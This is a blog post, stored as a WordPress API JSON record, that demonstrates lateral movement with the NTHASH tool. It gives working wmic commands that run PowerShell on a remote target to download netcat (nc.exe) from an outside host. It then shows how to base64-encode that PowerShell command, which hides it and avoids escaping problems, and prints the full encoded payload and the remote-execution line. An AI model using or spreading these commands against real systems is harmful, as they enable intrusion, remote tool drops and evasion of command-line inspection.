{"id":2182,"date":"2019-10-29T09:02:24","date_gmt":"2019-10-29T08:02:24","guid":{"rendered":"http:\/\/labalec.fr\/erwan\/?p=2182"},"modified":"2019-10-31T19:27:50","modified_gmt":"2019-10-31T18:27:50","slug":"demonstrating-pth-lateral-movement-with-nthash-part-4","status":"publish","type":"post","link":"https:\/\/labalec.fr\/erwan\/?p=2182","title":{"rendered":"Demonstrating lateral movement with NTHASH Part #4"},"content":{"rendered":"<p>lets again introduce a variant of previous\u00a0<a href=\"https:\/\/labalec.fr\/erwan\/?p=2178\" target=\"_blank\" rel=\"noopener\">article<\/a>.<\/p>\n<p>Ideally we would be using the windows built in wmic command rather that the nthash runwmi verb.<\/p>\n<p>Unfortunately, wmic can be a pita with escaping characters in some situations, especially when combining with powershell.<\/p>\n<p>The below for instance wont work because of the &lsquo;,&rsquo; comma character.<\/p>\n<p><strong>wmic \/node:target process call create \u00ab\u00a0powershell.exe -c (New-Object System.Net.WebClient).DownloadFile(&lsquo;https:\/\/erwan.labalec.fr\/uploads\/nc.exe&rsquo;,&rsquo;c:\\temp\\nc.exe&rsquo;)\u00a0\u00bb<\/strong><\/p>\n<p>The trick\/workaround is to base64encode (unicode) the powershell command.<\/p>\n<p><strong>NTHASH-win64.exe \/base64encodew \/input:(New-Object System.Net.WebClient).DownloadFile(&lsquo;http:%2f%2ferwan.labalec.fr%2fuploads%2fnc.exe&rsquo;,&rsquo;c:\\temp\\nc.exe&rsquo;);<\/strong><\/p>\n<p>Which will give you the following :<\/p>\n<p>KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQ<br \/>\nBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA=<\/p>\n<p>You can then execute a powershell command on a remote target using wmic like below :<\/p>\n<p><strong>wmic \/node:target process call create \u00ab\u00a0powershell.exe -encodedcommand\u00a0KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA=\u00a0\u00bb<br \/>\n<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>lets again introduce a variant of previous\u00a0article. Ideally we would be using the windows built in wmic command rather that the nthash runwmi verb. Unfortunately, wmic can be a pita with escaping characters in some situations, especially when combining with powershell. The below for instance wont work because of the &lsquo;,&rsquo; comma character. wmic \/node:target <a href='https:\/\/labalec.fr\/erwan\/?p=2182' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[118],"tags":[],"class_list":["post-2182","post","type-post","status-publish","format-standard","hentry","category-nthash","category-118-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2182","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2182"}],"version-history":[{"count":6,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2182\/revisions"}],"predecessor-version":[{"id":2222,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2182\/revisions\/2222"}],"wp:attachment":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2182"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2182"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2182"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}